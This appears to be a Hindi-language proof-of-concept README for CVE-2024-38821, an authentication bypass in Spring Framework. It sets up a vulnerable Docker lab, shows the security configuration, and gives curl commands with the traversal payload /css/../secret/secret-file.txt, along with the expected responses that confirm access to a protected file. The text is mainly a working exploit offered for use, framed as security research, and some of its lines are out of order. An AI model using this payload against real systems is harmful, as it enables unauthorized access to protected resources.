
CVE-2024-38821 के लिए अवधारणा-प्रमाण शोषण, Spring Framework में पथ ट्रैवर्सल के माध्यम से प्रतिबंधित संसाधनों तक पहुँचने के लिए प्रमाणीकरण बाईपास प्रदर्शित करता है।
यह CVE-2024-38821 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट है।
Docker इमेज बनाएँ (Spring Boot 3.3.4, Spring Framework 6.1.13 पर आधारित)
cd vuln
docker build -t cve-2024-38821-poc .
कंटेनर चलाएँ और पोर्ट 8080 को होस्ट मशीन पर एक्सपोज़ करें
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
PoC को निष्पादित करने और भेद्यता की पुष्टि करने के लिए निम्नलिखित कमांड चलाएँ
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # अपेक्षित: 302 प्रतिक्रिया (लॉगिन आवश्यक)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # अपेक्षित: 200 प्रतिक्रिया (प्रमाणीकरण बायपास किया गया)
यदि हमला सफल होता है, तो प्रतिक्रिया प्रदर्शित करेगी: This is a secret file.
एक्सेस अनुमतियाँ कॉन्फ़िगर करने के लिए SecurityConfig.java बनाएँ:
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
निम्नलिखित पेलोड बनाएँ। चूँकि पेलोड /css/ से शुरू होता है, यह अनुमत पथ पैटर्न से मेल खाता है। यह /secret/ से शुरू नहीं होता है, इसलिए यह प्रमाणीकरण-आवश्यक पथ पैटर्न से मेल नहीं खाता है:
/css/../secret/secret-file.txtPoC को निष्पादित करने और यह जाँचने के लिए कि हमला सफल है या नहीं, निम्नलिखित curl कमांड का उपयोग करें:
# नोट: URL सामान्यीकरण के बिना अनुरोध भेजने के लिए --path-as-is विकल्प आवश्यक है।
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
यदि हमला सफल होता है, तो प्रतिक्रिया प्रदर्शित करेगी:
यह PoC शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। किसी वास्तविक सिस्टम में इसका उपयोग करने से पहले, सुनिश्चित करें कि भेद्यता को ठीक कर दिया गया है और आपके पास उचित प्राधिकरण है। लेखक इस कोड के किसी भी दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।
This is a secret file.